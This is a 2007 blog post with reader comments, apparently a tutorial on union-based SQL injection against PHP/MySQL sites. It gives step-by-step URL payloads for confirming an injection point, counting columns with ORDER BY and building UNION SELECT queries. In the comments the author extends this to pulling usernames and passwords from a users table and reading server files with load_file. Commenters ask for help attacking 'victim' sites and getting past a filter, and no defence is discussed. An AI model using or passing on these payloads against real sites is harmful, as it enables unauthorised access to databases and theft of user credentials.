Tuesday, August 7, 2007

Union select column count

A lot of people seem to be asking around for a way to detect the amount of columns needed for a successful 'union select' injection. It might be old news for a lot of people, but others are still wrestling with pure guessing. So here goes nothing ;)

When trying to execute a union select, make sure you are on a mysql 4 or higher server! Union selects will not work on mysql 3 or lower.

O.k. let's take the following news query:
SELECT * FROM `news` WHERE `news_id` = 121

The URL to access this query is: /news.php?news_id=121

So our injection point in this query is: '121'.

Now lets find out if the news_id is injectable
test: /news.php?news_id=121 and 1=1
result needed: success

test: /news.php?news_id=121 and 1=0
result needed: empty page

version 4 or higher?
test: /news.php?news_id=121 and version() >= 4
result needed: success

Now comes the cool part. We know we can order data using column names, but we can also order our result set using column numbers. We can use this knowledge to test the amount of columns used in the query.

Does the column / order trick work? (order by first column)
test: /news.php?news_id=121 order by 1/*
result needed: success

More than 10 columns?
test: /news.php?news_id=121 order by 10/*
result needed: success / failure, based on the amount of columns.

More than 20 columns?
test: /news.php?news_id=121 order by 20/*
result needed: success / failure, based on the amount of columns.


Now lets say there were 12 columns in the news table.
test: /news.php?news_id=121 order by 11/* -- Succeeded
test: /news.php?news_id=121 order by 12/* -- Succeeded
test: /news.php?news_id=121 order by 13/* -- Failed

Joy! so 12 it is. Now you can easily inject your union select query. ;)
Union Select: /news.php?news_id=12 and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12/*

Good luck ;)


Anonymous said...

Good post, but actually i knew that :) What i don't know though is for what you can actually use a mysql injection point for (from a hackers perspective). I mean, you can't stack queries on mysql so in your "SELECT" example (which i think is the most common) you cant insert or drop anything. Infact, as far as I know you can only check if your querys are right, which means you have to do too much guessing for this to be usefull. Or am I wrong?

Gnarf said...

Hi there, thanks for the comment ;)

The point of a union select query is to overwrite the expected results with other data. So if you have a news query like the above.

SELECT * FROM `news` WHERE `news_id` = 121

And we inject the following code:
http://www.domain.com/news.php?news=121 LIMIT 0 UNION SELECT 1,username,password,4,5,6,7,8,9,10,11,12 FROM users

The actual query executed will become:
SELECT * FROM `news` WHERE `news_id` = 121 LIMIT 0 UNION SELECT 1,username,password,4,5,6,7,8,9,10,11,12 FROM users

This means it will show a username and password, instead of the news title and author.

This is a very simle example, but it shows the basic idea. You can inject SQL to get 'malicious' data from other tables, databases and sometimes you can even view server sided files using LOAD_FILE()

Anonymous said...

Interesting, but there is something i still don't understand. Consider the following code:

$a = $_GET['a'];

$result = mysql_query("SELECT * FROM news where id =".$a);
while($row = mysql_fetch_array($result)) {
echo $row["subject"].$row["text"];

I understand how you can UNION this with another table, I just dont understand how you can make it echo other vars than what was intended. I mean how can $row["subject"] ever output a username or a password? Or do you use error messages for this somehow?


Gnarf said...

Ah, I get your problem :) Because the union select query results are 'added' to the original query results, the column names will stay intact. The column names used in the union select directive are discarded.

Here is a simple example from the mysql command line:

(the layout is a bit mixed up, but it should help you understand ;)

mysql> select page_title, page_url_id FROM page WHERE page_id = 1;
| page_title | page_url_id |
| Home page | home |
1 row in set (0.00 sec)

mysql> select page_title, page_url_id FROM page WHERE page_id = 1 LIMIT 0 union select 1,2;
| page_title | page_url_id |
| 1 | 2 |
1 row in set (0.00 sec)

Anonymous said...

I must admit im still a little confused. Maybe im being a little slow here, but that only shows the number id of the tables used, right? What is the next move then?

(gdamn, i feel noobish)

Gnarf said...

Nope those 1,2 results can be anything you want em to be.. If the current db user would have file rights you could display the /etc/passwd file using:

SELECT page_title, page_url_id FROM page WHERE page_id = 1 LIMIT 0 union select load_file('/etc_passwd'),2;

Or anything from the database (you have read rights to) using:
SELECT page_title, page_url_id FROM page WHERE page_id = 1 LIMIT 0 union select any_column,any_column FROM any_table;

The 1's and 2's are just easy test values ;) After that the table / column guessing starts.

Anonymous said...

Ahh i get it now. I just thought the numbers in "SELECT 1,2" were the row numbers, when infact it is just whatever you want to add to the new row. Thanks alot for being so noob friendly :)

Gnarf said...

Thats right :) No problem with the 'noob' thing, everyone starts somewhere right ;)

FuNkY said...

Ahh , I'm Very Thankfull To You , But Still There's Some Prob For Me.....

I Have Learn't To How To Identify , Is The Site Is Vulnerable Or Not , By Using This Query -


Ok , Now I Got The First Point...

But , I'm Really Unable To Sort To How To Get The Needed Tables From The Victim Site ?????

Just Like -


I Mean We Can't Just Guess These Tables ?????

How To Get Them ???

Plzz Buddy , I'm Also An Noob And Really Wana Learn....

Ur Help Will Be Appreciated.....

Gnarf said...

Hi Funky, i wrote a new article about this, i hope you'll find your answer there ;)


Good luck!

paul gillam said...

You will get alot more on www.unkn0wnfunk.com/forum/


Anonymous said...

so here is a question. You can inject on a site, however when you perform the UNION ALL SELECT 1,2,3,4/* the web application bombs to false stating that the request is forbidden (returning a false?). As per testing the web application what would be the next logical step? I have run through every case i can think of.

The request returns true for max_allowed_packet, version and for:

order by 1,2,3,4/* where 4 being the highest in columns.

When entering a select, or union it gives the same error. However, when inputting the suggested LIMIT 0 Union it also bombs...? I'm confused.

The version did return true for =5 so i do know the web application is running version 5.

More so, are there any other resources like this that i can learn from to help me along the way?

Any suggestions would be a great help.


Anonymous said...

thanks man ... really needed to understand that .. just what i needed